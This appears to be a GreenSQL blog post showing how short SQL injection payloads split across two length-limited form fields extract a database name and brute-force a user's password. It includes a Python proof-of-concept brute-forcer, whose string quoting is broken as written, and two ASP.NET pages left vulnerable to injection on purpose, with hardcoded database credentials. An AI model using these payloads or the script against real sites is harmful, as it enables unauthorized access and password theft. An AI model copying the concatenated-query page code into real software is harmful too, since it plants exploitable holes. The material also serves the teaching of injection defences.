Shortest SQL Injection Attack

 

Shortest SQL Injection Attack syntax

 

Overview
=======
In many cases, the user’s input is limited to a specific length.
Although the user’s input length is limited, many times the server is vulnerable to SQL Injection attacks.

 

In this post, we’ll discuss two scenarios and how SQL injections attacks are being exploited using shortest SQL injection attack syntax.

 

==============================
Get Database Name through 2-fields attack
==============================
In this scenario, the attacker attacks a web application which receives First-Name and Last-Name, and outputs its matched e-mail address. (see appendix A)

 

The original SQL query sent to the database is:

 

selectEmailAddress from Person.Contact where FirstName = ‘@fn’ and LastName = ‘@ln’; –where @fn and @ln are the user’s input.

 

In order to get the database name, the attacker can easily input the following string into one of the fields:

union select db_name();–

That string’s length is 27 bytes.

If the user’s input length is limited to 15 bytes for each field, the previous attack will be blocked. Even though, the attacker can input the following strings to bypass the limitation:

•    First Name: ‘union select/* (15 bytes)
•    Last Name: */db_name();– (12 bytes)

 

The attack results the following query:

selectEmailAddress from person.contact where FirstName = ”union select/*’ and LastName = ‘*/db_name()–’;

 

This will output the database name!

 

==============================
User Name and Password through 2-fields
=============================
In this scenario, the attacker attacks a web application which receives a username and a password, and outputs “Access Granted!” or “Access Denied!”. The web application limits user’s input to 20 bytes for each field. The web application validates only user’s input length. (see Appendix B)

 

The application sends the following query:

select
count(*) from dbo.users where UserName = ‘@un’ and Password = ‘@pass’; –where @un and @pass are the user’s input

 

In order to brute-force the first character of david’s password, the attacker sends the strings:

•    User Name: david’and substring/*
•    Password: */(password,1,1)=’p

 

The attack results the following query:

select
count(*) from dbo.users where UserName = ‘david’and substring/*’ and Password = ‘*/(password,1,1)=’p';

Return ‘1’ if the first character of the password is ‘p’ or ‘0’ in any different situation.
In order to brute-force david’s entire password, the attacker can use the following python script:

 

##################################################
##   GreenSQL 2-fields SQL Injection Attack     ##
##            Password Brute Forcer             ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import urllib

un = 'david'and substring/*'
i=0
CurrChr = 0
password = ""

for index in range(1,40):
    if CurrChr == 125:
        break
    for CurrChr in range(32,126):
        pswd = '*/(password,' + str(index) + ',1)='' + chr(CurrChr)
        args = {'UserName':un,'Password':pswd}
        encoded_args = urllib.urlencode(args)
        url = 'http://127.0.0.1:54213/WebSite1/Authentication.aspx'
        print "Sending: ", index, "X", chr(CurrChr)
        f = urllib.urlopen(url, encoded_args)
        contents = f.read()
        f.close()
        if (contents.find('Access Granted') != -1):
            password = password + chr(CurrChr)
            print "Password: ", password
            CurrChr =1
            break

Appendix A - Web Application #1 Source Code
===========================================

<%@ Page Language="C#" Debug="true" %>
  <%@ Import Namespace="System.Data" %>
  <%@ Import Namespace="System.Data.SqlClient" %>
  <html>
 <head><title>Shortest</title></head>

  <body>
  <form id = "f" method="post" action="shortest.aspx">
    First Name: <input name = "FirstName" type="text" maxlength="15" />(maxlength: 15) <br />
    Last Name: <input name = "LastName" type="text" maxlength="15"/>(maxlength: 15) <br />
    <input id="submit" type="submit" value="Get Email" />
  </form>

  <%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string fn = "";
      fn = Request.Form["FirstName"];
      string ln = "";
      ln = Request.Form["LastName"];
      if (fn.Length <= 15 && ln.Length <= 15)
      {
          string command = "select EmailAddress from person.contact where FirstName = '" + fn + "' and LastName = '" + ln + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("<table>");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("<tr>");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  Response.Write("<th>");
                  Response.Write(row[col]);
                  Response.Write("</th>");
              }
              Response.Write("</tr>");
          }
          Response.Write("</table>");
          Response.Write(command);
          if (fn != null && ln != null)
              Response.Write("<br />FirstName: " + fn + "(" + fn.Length.ToString() + ")<br />LastName: " + ln + "(" + ln.Length.ToString() + ")<br />Total Length: " + (fn.Length + ln.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %>
</body>
</html>

Appendix B – Web Application #2 Source Code
===========================================

<%@ Page Language="C#" Debug="true" %>
  <%@ Import Namespace="System.Data" %>
  <%@ Import Namespace="System.Data.SqlClient" %>
  <html>
 <head><title>Shortest</title></head>

  <body>
  <form id = "f" method="post" action="Authentication.aspx">
    Username: <input name = "UserName" type="text" maxlength="20" />(maxlength: 20) <br />
    Password: <input name = "Password" type="text" maxlength="20"/>(maxlength: 20) <br />
    <input id="submit" type="submit" value="Authenticate" />
  </form>

  <%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string un = "";
      un = Request.Form["Username"];
      string pass = "";
      pass = Request.Form["Password"];
      if (un.Length <= 20 && pass.Length <= 20)
      {
          string command = "select count(*) from dbo.users where UserName = '" + un + "' and Password = '" + pass + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("<table>");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("<tr>");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  if (System.Convert.ToInt32(row[0]) > 0)

                      Response.Write("Access Granted!");

                  else
                      Response.Write("Access Denied!");
              }
              Response.Write("</tr>");
          }
          Response.Write("</table>");
          Response.Write(command);
          if (un != null && pass != null)
              Response.Write("<br />UserName: " + un + "(" + un.Length.ToString() + ")<br />Password: " + pass + "(" + pass.Length.ToString() + ")<br />Total Length: " + (un.Length + pass.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %>
</body>
</html>